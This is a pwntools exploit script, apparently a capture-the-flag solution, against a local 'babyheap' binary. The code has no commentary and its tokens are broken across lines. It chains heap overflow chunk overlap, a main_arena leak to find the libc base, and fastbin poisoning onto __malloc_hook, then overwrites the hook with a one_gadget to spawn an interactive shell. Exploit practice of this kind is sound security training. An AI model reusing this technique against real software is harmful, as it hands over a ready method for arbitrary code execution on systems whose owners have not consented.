from
pwn
import
*
context(arch
=
"amd64"
, log_level
=
"debug"
, os
=
"linux"
)
io
=
process(
"./babyheap"
)
elf
=
ELF(
"./babyheap"
)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
def
alloc(size):
io.sendlineafter(
"Command: "
,
"1"
)
io.sendlineafter(
"Size: "
,
str
(size))
def
fill(index, size, content):
io.sendlineafter(
"Command: "
,
"2"
)
io.sendlineafter(
"Index: "
,
str
(index))
io.sendlineafter(
"Size: "
,
str
(size))
io.sendafter(
"Content: "
, content)
def
free(index):
io.sendlineafter(
"Command: "
,
"3"
)
io.sendlineafter(
"Index: "
,
str
(index))
def
dump(index):
io.sendlineafter(
"Command: "
,
"4"
)
io.sendlineafter(
"Index: "
,
str
(index))
alloc(
0x10
)
alloc(
0x10
)
alloc(
0x10
)
alloc(
0x10
)
alloc(
0x80
)
free(
2
)
free(
1
)
extend_0
=
flat(cyclic(
0x10
),
0
,
0x21
, b
'\x80'
)
fill(
0
,
len
(extend_0), extend_0)
extend_3
=
flat(cyclic(
0x10
),
0
,
0x21
)
fill(
3
,
len
(extend_3), extend_3)
alloc(
0x10
)
alloc(
0x10
)
extend_3
=
flat(cyclic(
0x10
),
0
,
0x91
)
fill(
3
,
len
(extend_3), extend_3)
alloc(
0x60
)
free(
4
)
dump(
2
)
io.recvuntil(
"Content: \n"
)
unsorted_main_arena
=
u64(io.recv(
8
))
log.success(
"unsorted_main_arena_addr: "
+
hex
(unsorted_main_arena))
main_arena
=
0x3c4b20
libc_base
=
unsorted_main_arena
-
(main_arena
+
88
)
log.success(
"libc base addr: "
+
hex
(libc_base))
hook_addr
=
libc_base
+
libc.sym[
"__malloc_hook"
]
print
(
hex
(hook_addr))
alloc(
0x60
)
free(
4
)
fake_chunk
=
flat(hook_addr
-
0x23
)
fill(
2
,
len
(fake_chunk), fake_chunk)
alloc(
0x60
)
alloc(
0x60
)
one_gadget_addr
=
libc_base
+
0x4527a
payload
=
flat(cyclic(
0x13
), one_gadget_addr)
fill(
6
,
len
(payload), payload)
alloc(
0x100
)
io.interactive()